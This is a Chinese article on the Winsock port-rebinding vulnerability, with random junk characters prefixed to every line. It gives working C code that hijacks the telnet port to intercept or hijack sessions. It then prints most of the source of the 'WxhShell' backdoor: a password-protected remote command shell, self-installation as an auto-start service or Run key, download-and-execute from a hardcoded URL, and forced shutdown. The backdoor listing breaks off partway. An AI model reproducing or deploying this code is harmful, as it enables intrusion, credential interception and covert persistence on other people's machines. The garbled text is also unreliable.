在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n=4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^%zhj3# q++\<\2 saddr.sin_family = AF_INET;
{e|.AD 0sU*3 r? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
TW>GYGz x5MS#c!7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
JDR_k N,K/Ya)1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s!?uLSEdb mrRid}2 这意味着什么?意味着可以进行如下的攻击:
8Yk*$RR9 -t S\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
d/yF}%0QI `dcz9 * 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ws9IO ?|&G Z6${nUX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3%5YUG@ oDu6W9 + 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9h6Oq(0b8 bKmwXDv' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_rB,N#{2R= ^D+^~>f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
PlH~um[J .\_RavW23 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
BZ:tVfg. % Q6
za'25 #include
1Zn8CmE V #include
M\4`S& #include
k o[w#j #include
g=4^u* DWORD WINAPI ClientThread(LPVOID lpParam);
1}a4AGAp int main()
V($V8P/ {
uEJ8Lmi WORD wVersionRequested;
seEo)m`d DWORD ret;
lvWwr!w WSADATA wsaData;
J?3/L&seA BOOL val;
T#-;>@a} SOCKADDR_IN saddr;
I)'bf/6? SOCKADDR_IN scaddr;
A/<u>cCW int err;
0pMN@Cz6 SOCKET s;
TC/c5:)] SOCKET sc;
=J]WVA,GqA int caddsize;
Su,:f_If, HANDLE mt;
??p%_{QY~b DWORD tid;
Z,#H\1v3lB wVersionRequested = MAKEWORD( 2, 2 );
=|P
&G~] err = WSAStartup( wVersionRequested, &wsaData );
lcZ.}
if ( err != 0 ) {
T3P9 printf("error!WSAStartup failed!\n");
#_35bg4h{ return -1;
'?9zL* }
CfU|]< saddr.sin_family = AF_INET;
t>cGfA O,B\|pd2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
bOj)Wu -n05Z@7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tsc`u> saddr.sin_port = htons(23);
G@H!D[wd if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y+ze`pL? {
f zo'9 printf("error!socket failed!\n");
{o24A:M return -1;
&Pr\n&9A }
7_i8'(`` val = TRUE;
2DW@}[G //SO_REUSEADDR选项就是可以实现端口重绑定的
w95M
B*N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w2nReB z {
3
39q%j$ printf("error!setsockopt failed!\n");
"OjAhKfG return -1;
_f[Q\gK }
|EE1S{!24m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LQR2T5S/Q, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
g5B TZZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s7Agr!>f qG6s.TcG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
NGc~%0n {
HK!ecQ^+ ret=GetLastError();
E]`7_dG+T printf("error!bind failed!\n");
6CBk=)qH return -1;
FRd"F$U }
~18a&T: listen(s,2);
q?(]
Y* while(1)
\~5|~|9< {
:skR6J caddsize = sizeof(scaddr);
B3#G //接受连接请求
Py)ZHML sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=5+*TL` if(sc!=INVALID_SOCKET)
/\8Il+0 {
GI% &.V d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I/f\m}}ba if(mt==NULL)
}g}Eh>U {
[%P#ieD4 printf("Thread Creat Failed!\n");
@RoZd? break;
D4=*yP }
USBQEt }
]Ox5F@ CloseHandle(mt);
po*G`b;v }
(>v'0RA closesocket(s);
T D_@0Rd WSACleanup();
&3Zq1o return 0;
~ nsb }
ywa*?3?c DWORD WINAPI ClientThread(LPVOID lpParam)
qyH-Z@ {
=gB5JB<}2 SOCKET ss = (SOCKET)lpParam;
{a7~P0$ SOCKET sc;
rJ!cma unsigned char buf[4096];
Y?0/f[Ax,y SOCKADDR_IN saddr;
tEhg',2t( long num;
ZwmucY%3 DWORD val;
H71sxek3 DWORD ret;
Mbi]EZ //如果是隐藏端口应用的话,可以在此处加一些判断
.Bm% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}s}g}t8v- saddr.sin_family = AF_INET;
y?$DDD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V
;T :Q% saddr.sin_port = htons(23);
$83B10OQ&L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!J`lA {
eVXXn)> printf("error!socket failed!\n");
OK[J
h return -1;
3nxG>D7 }
~6 6xO9s val = 100;
OviS(}v4@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$]v}X},, {
'YL[s ret = GetLastError();
ht3.e[%'b return -1;
=*mT{q@ }
}Z!D?( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j|eA*UE {
2QfN.<[- ret = GetLastError();
x$Dq0FX!%_ return -1;
kx"10Vw }
K@D\5s|1| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$<}c[Nm {
+#W94s~0V printf("error!socket connect failed!\n");
+{J8,^z# closesocket(sc);
ud1M-lY\U closesocket(ss);
yK~=6^M return -1;
UtZ,q!sg }
%`Re{%1; while(1)
ccD+AGM.
{
pfA6?tP` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U.%Kt,qB //如果是嗅探内容的话,可以再此处进行内容分析和记录
7>vm?a^D2& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
O7K.\ num = recv(ss,buf,4096,0);
{$*N1$(% if(num>0)
(i1JRn-f send(sc,buf,num,0);
e[S`Dm"i)' else if(num==0)
GD
W@/oQr break;
`8:0x?X num = recv(sc,buf,4096,0);
,"(L2+Yp if(num>0)
:2 ;Jo^6Se send(ss,buf,num,0);
.L'w/"O else if(num==0)
M>8J_{r^ break;
UM}u(;oo%) }
/7Q|D sa closesocket(ss);
G#M)5'Q]U closesocket(sc);
Y+gY" return 0 ;
!3ggQG!e }
LF<&gC *{o7G a eim +oms ==========================================================
U)S=JT~h 92+8zX 下边附上一个代码,,WXhSHELL
4E'9;tA3l ZykMri3bi ==========================================================
5of3& ]BQYVx/ #include "stdafx.h"
B5e9'X^
[ ab0Sx #include <stdio.h>
/r}L_wI #include <string.h>
1I+9?fa #include <windows.h>
En5oi #include <winsock2.h>
p7h#.m~Qu #include <winsvc.h>
lOIk$"Ne #include <urlmon.h>
}\pI`;*O| V5|ANt #pragma comment (lib, "Ws2_32.lib")
3Ob.OwA #pragma comment (lib, "urlmon.lib")
}`"`VLh BHXi g~d #define MAX_USER 100 // 最大客户端连接数
xU
*:a[g #define BUF_SOCK 200 // sock buffer
*bkb-nKw #define KEY_BUFF 255 // 输入 buffer
K*6 "c.D $YYWpeW
' #define REBOOT 0 // 重启
g(7-3q8eq #define SHUTDOWN 1 // 关机
g 7oY 1; gcLz}84 #define DEF_PORT 5000 // 监听端口
xO$P
C, ]B8
A #define REG_LEN 16 // 注册表键长度
{]vD@)k #define SVC_LEN 80 // NT服务名长度
;*K4{wvG ?Ua,ba* // 从dll定义API
"kg`TJf= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:<%bAn typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b@:OlZ~% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5dBftTv? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
5&Oc`5QD &&ioGy}1 // wxhshell配置信息
UD I{4+z struct WSCFG {
bbm\y] !t int ws_port; // 监听端口
GAGS-G# char ws_passstr[REG_LEN]; // 口令
[^H2'&] int ws_autoins; // 安装标记, 1=yes 0=no
{C1crp>q char ws_regname[REG_LEN]; // 注册表键名
j!;LN)s@? char ws_svcname[REG_LEN]; // 服务名
lU
WXXuO] char ws_svcdisp[SVC_LEN]; // 服务显示名
@sXFu[!U char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ts iJK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*4,Q9K_ int ws_downexe; // 下载执行标记, 1=yes 0=no
yzK; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
TS<d?: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
8`=?_zF Hxu5Dx5![ };
Q=~"xB8 b
F=MQ // default Wxhshell configuration
[g}Cve#i struct WSCFG wscfg={DEF_PORT,
P8 X07IK "xuhuanlingzhe",
i,Ct AbMx 1,
OV>&`puL "Wxhshell",
|OQ]F "Wxhshell",
U,<m%C" "WxhShell Service",
ldv@C6+J "Wrsky Windows CmdShell Service",
'K[ml ?_ "Please Input Your Password: ",
*dBy<dIy 1,
g?j)p y "
http://www.wrsky.com/wxhshell.exe",
;\MWxh,K "Wxhshell.exe"
=?sG~ };
kUT2/3Vi c-Gp|.C // 消息定义模块
;?h[WIy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'u,|*o char *msg_ws_prompt="\n\r? for help\n\r#>";
dwj?; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
z4u.bU char *msg_ws_ext="\n\rExit.";
p_$^keOL char *msg_ws_end="\n\rQuit.";
j#HXuV6 char *msg_ws_boot="\n\rReboot...";
~(kEGEF char *msg_ws_poff="\n\rShutdown...";
G|i0n
char *msg_ws_down="\n\rSave to ";
72HA.!ry E^8|xT'h6 char *msg_ws_err="\n\rErr!";
w[~G^x& char *msg_ws_ok="\n\rOK!";
mxNd n,I3\l9 char ExeFile[MAX_PATH];
/VR~E'Cy% int nUser = 0;
D(b01EQ;d HANDLE handles[MAX_USER];
qHt/,w='Q int OsIsNt;
?Uql30A '%$Vmf)= SERVICE_STATUS serviceStatus;
dX(JV' 18A SERVICE_STATUS_HANDLE hServiceStatusHandle;
@]uqC~a^ *WE8J#]d // 函数声明
/t5)& int Install(void);
l9K`+c+t int Uninstall(void);
S-t#d7'B int DownloadFile(char *sURL, SOCKET wsh);
^[<BMk int Boot(int flag);
x&B&lFmo8 void HideProc(void);
>Kgw2,y+ int GetOsVer(void);
M/ S~"iD int Wxhshell(SOCKET wsl);
{}$9
70y void TalkWithClient(void *cs);
~^wSwd[ int CmdShell(SOCKET sock);
jAJ='|[X\ int StartFromService(void);
=VC18yA int StartWxhshell(LPSTR lpCmdLine);
fA=Z):w I0XJ&P% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
m*^)# VOID WINAPI NTServiceHandler( DWORD fdwControl );
:a wt7lqv ^*.[b // 数据结构和表定义
Cqd\n#d/~ SERVICE_TABLE_ENTRY DispatchTable[] =
<J509j {
5c- P lm% {wscfg.ws_svcname, NTServiceMain},
.n:Q~GEL {NULL, NULL}
O|Uz)Y94 };
*_D/_Rp7 i/:L^SQAq // 自我安装
Q-x>yau" int Install(void)
*6I$N>1 {
"GMU~594 char svExeFile[MAX_PATH];
J[lC$X[ HKEY key;
~ l}f@@u strcpy(svExeFile,ExeFile);
Vr2A7kq Hf4_zd // 如果是win9x系统,修改注册表设为自启动
z'l$;9(y if(!OsIsNt) {
ZRMim6a4X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BN*:*cmUl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B=A!hXNa RegCloseKey(key);
=O}I{dNKZV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}s,NM%oI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}rQ Qe:{]B RegCloseKey(key);
|5u~L#P return 0;
A f'&, 1=q }
^4=#,K }
]_C"A }
9NTNulD>P else {
a1pp=3Pd?~ M?l v // 如果是NT以上系统,安装为系统服务
`v-[& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
UL[,A+X8D if (schSCManager!=0)
8AR8u!;8 {
e!6yxL*[@[ SC_HANDLE schService = CreateService
eT
b!xb (
X}( s(6 schSCManager,
,Zmjw@w wscfg.ws_svcname,
Fk=SkSky wscfg.ws_svcdisp,
>pu4 G+M SERVICE_ALL_ACCESS,
)rEl{a SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2^[dy>[y0 SERVICE_AUTO_START,
B:h<iU:'D SERVICE_ERROR_NORMAL,
S]3CRJU3` svExeFile,
I>?oVY6M@u NULL,
B[8bkFS>] NULL,
mZ71_4X# NULL,
O9daeIF0# NULL,
1(p:dqGS NULL
o`f^ m );
$w(RJ/ if (schService!=0)
3\W/VBJJ {
A}ZZQ CloseServiceHandle(schService);
}y6)d. CloseServiceHandle(schSCManager);
K]|Ud No strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U:8[%a strcat(svExeFile,wscfg.ws_svcname);
}Xj25` x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L-+g` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PC9,;T&7_ RegCloseKey(key);
{+9RJmZg return 0;
qfsPX6] }
z}E_wg }
X['9;1Xr CloseServiceHandle(schSCManager);
=}Tm8b0 }
lpG%rN! }
v+LJx ;VE y{%nF return 1;
1<ag=D`F_" }
^fsMfB Cd*h4Q]S // 自我卸载
K/W=r int Uninstall(void)
?%5VaxWJ {
sZrVANyqb HKEY key;
{KgA
V -;9
}P if(!OsIsNt) {
CM?:\$ 4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
HoPpUq5, RegDeleteValue(key,wscfg.ws_regname);
c|/HX%Y
RegCloseKey(key);
6:5K?Yo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BpIyw
RegDeleteValue(key,wscfg.ws_regname);
= Pv_,% RegCloseKey(key);
PCl5,]B} return 0;
7IxeSxXH }
vIpL8B86a }
$e+sqgU }
[rx9gOOa& else {
V|u2(* <IR#W$[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-,")GA+[7 if (schSCManager!=0)
*X.1b! {
u=0O3-\h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%}@iz(*}> if (schService!=0)
\\SQACN {
a/ Ac^!( if(DeleteService(schService)!=0) {
M|blg!j; CloseServiceHandle(schService);
MtJ-pa~n CloseServiceHandle(schSCManager);
/1EAj return 0;
|mtW) }
?L }>9$" CloseServiceHandle(schService);
8$NVVw]2, }
aMI;;iL^ CloseServiceHandle(schSCManager);
b~zSsws. }
rMwa6ZO'm; }
*aCL/: xJ3C^b%H return 1;
wlNL;W@w }
:$D*ab^^P ^
9+
Qxv // 从指定url下载文件
_UVpQ5pN int DownloadFile(char *sURL, SOCKET wsh)
&>qUT]w {
u
8o! HRESULT hr;
L62'Amml char seps[]= "/";
q=t!COS char *token;
^(JrOh' char *file;
^{"i eVn char myURL[MAX_PATH];
hwGK),?"+ char myFILE[MAX_PATH];
%*
0GEfl/ EA~xxKq strcpy(myURL,sURL);
a{ST4d'T token=strtok(myURL,seps);
d&^b=d FDu while(token!=NULL)
[WDzaRzd {
/<-PW9X? file=token;
O: :FB.k token=strtok(NULL,seps);
lfAy$qP"} }
3uYLA4[-B 1NP GetCurrentDirectory(MAX_PATH,myFILE);
]\yB, strcat(myFILE, "\\");
GXZ="3W | strcat(myFILE, file);
[h-6;.e send(wsh,myFILE,strlen(myFILE),0);
8sj2@d send(wsh,"...",3,0);
z<eu=OD4t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+c_AAMe if(hr==S_OK)
QjLU@?& return 0;
"[ LUv5 else
3}}/,pGSc return 1;
_-f LD b=Nsz$[ }
Z`*V9 %ZoJu // 系统电源模块
lH3.q4D
5 int Boot(int flag)
<l1/lm<# {
XI`_PQco HANDLE hToken;
,P<I<QYu TOKEN_PRIVILEGES tkp;
oI-Fr0! ),{3LIr if(OsIsNt) {
|Kd6.Mx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6teu_FS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*{?2M6Z tkp.PrivilegeCount = 1;
:fmV||Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aKMX-?%t4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q<\r}1Dm if(flag==REBOOT) {
:(enaHn#~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|6NvByc, return 0;
#4|RaI|. }
?4SYroXUX| else {
KeyKLkg> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
KdR\a&[MA return 0;
3R/6/+S- }
;s3@(OnjZ }
08:K9zr else {
gS(JgN if(flag==REBOOT) {
pjO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T2-x 1Sw_ return 0;
M(8xwo-W }
_x5-!gK
else {
`*CoVx~fk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2;]tIt d1 return 0;
j 1'H|4 }
W=2.0QmW }
yYOV:3!" &/EZn xl return 1;
L,_U co }
&[\zs&[@y Ge$&